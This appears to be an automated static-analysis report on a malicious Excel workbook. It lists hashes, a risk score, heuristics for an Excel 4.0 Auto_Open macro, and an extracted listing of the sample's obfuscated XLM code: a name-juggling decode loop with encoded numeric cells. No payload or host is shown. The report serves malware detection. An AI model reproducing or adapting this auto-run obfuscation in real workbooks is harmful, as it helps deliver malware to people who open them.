Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dc4e8aba4f1f7041…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:58 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 18535c92a3611287a0aa25e1d5cd15db SHA-1: e22462b59b0c9003d6c27edf5ee472276bbcec0e SHA-256: dc4e8aba4f1f704159a124f3c6c80c75eb99eceaa2f3bfa674f9eb9211166887
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6683 bytes
SHA-256: 7c3e534b403333f12f109682ff5e249806fd7e8ed0795c654a51a7b6b7a9107b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  vZnMP
' 0018     23 LABEL : Cell Value, String Constant - agmdPmpj len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C175 
' 0018     27 LABEL : Cell Value, String Constant - BshuhpLbCqOk len=0 
' 0018     24 LABEL : Cell Value, String Constant - DqilDPWGP len=0 
' 0018     24 LABEL : Cell Value, String Constant - ECMhaPDqb len=0 
' 0018     20 LABEL : Cell Value, String Constant - eFBKf len=0 
' 0018     21 LABEL : Cell Value, String Constant - gBJSwq len=0 
' 0018     27 LABEL : Cell Value, String Constant - gGPgiiIIlYWq len=0 
' 0018     24 LABEL : Cell Value, String Constant - iKjxKfpQa len=0 
' 0018     20 LABEL : Cell Value, String Constant - kagXc len=0 
' 0018     21 LABEL : Cell Value, String Constant - Khtauo len=0 
' 0018     22 LABEL : Cell Value, String Constant - ozosgXv len=0 
' 0018     20 LABEL : Cell Value, String Constant - QDJyR len=0 
' 0018     27 LABEL : Cell Value, String Constant - RNvkMlcXYPhX len=0 
' 0018     21 LABEL : Cell Value, String Constant - SpsmtF len=0 
' 0018     21 LABEL : Cell Value, String Constant - UqskTh len=0 
' 0018     24 LABEL : Cell Value, String Constant - USMlWoDdy len=0 
' 0018     27 LABEL : Cell Value, String Constant - vFTJwHNpqNaL len=0 
' 0018     21 LABEL : Cell Value, String Constant - vIpCDL len=0 
' 0018     26 LABEL : Cell Value, String Constant - xYixwwWPkdG len=0 
' 0018     25 LABEL : Cell Value, String Constant - ysTjCXGMgn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  vZnMP,C80,"SET.NAME("Khtauo",0+VALUE("0"))",""
'  vZnMP,C85,"SET.NAME("ECMhaPDqb",Khtauo)",""
'  vZnMP,C88,"SET.NAME("ysTjCXGMgn",Khtauo)",""
'  vZnMP,C91,"SET.NAME("vFTJwHNpqNaL",COUNTA(gGPgiiIIlYWq))",""
'  vZnMP,C95,"SET.NAME("SpsmtF",COUNTA(UqskTh))",""
'  vZnMP,C97,[],""
'  vZnMP,Q98,"",456.00000000000000000000
'  vZnMP,Q99,"",-853.00000000000000000000
'  vZnMP,Q100,"",-532.00000000000000000000
'  vZnMP,Q101,"",396.00000000000000000000
'  vZnMP,C102,"SET.NAME("USMlWoDdy","")",""
'  vZnMP,Q102,"",514.00000000000000000000
'  vZnMP,Q103,"",-640.00000000000000000000
'  vZnMP,C107,"ECMhaPDqb",""
'  vZnMP,C111,"SET.NAME("ozosgXv",HLOOKUP("*",gGPgiiIIlYWq,ECMhaPDqb,FALSE))",""
'  vZnMP,C113,"eFBKf",""
'  vZnMP,C117,"SET.NAME("BshuhpLbCqOk",Khtauo)",""
'  vZnMP,C122,[],""
'  vZnMP,C127,"BshuhpLbCqOk",""
'  vZnMP,C129,"RNvkMlcXYPhX",""
'  vZnMP,C133,"agmdPmpj",""
'  vZnMP,C137,"gBJSwq",""
'  vZnMP,C139,"SET.NAME("QDJyR",VALUE(HLOOKUP("*",UqskTh,gBJSwq,FALSE)))",""
'  vZnMP,C143,"iKjxKfpQa",""
'  vZnMP,C147,"USMlWoDdy",""
'  vZnMP,C152,"ysTjCXGMgn",""
'  vZnMP,C156,NEXT(),""
'  vZnMP,C160,"DqilDPWGP",""
'  vZnMP,C163,[],""
'  vZnMP,C165,"xYixwwWPkdG",""
'  vZnMP,C170,NEXT(),""
'  vZnMP,C172,RETURN(),""
'  vZnMP,C202,"SET.NAME("kagXc",C80)",""
'  vZnMP,C205,"gGPgiiIIlYWq",""
'  vZnMP,C209,"SET.NAME("UqskTh",R78C13)",""
'  vZnMP,C211,"SET.NAME("xYixwwWPkdG",221)",""
'  vZnMP,C215,"SET.NAME("vIpCDL",3)",""
'  vZnMP,C220,kagXc(),""
'  vZnMP,C221,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.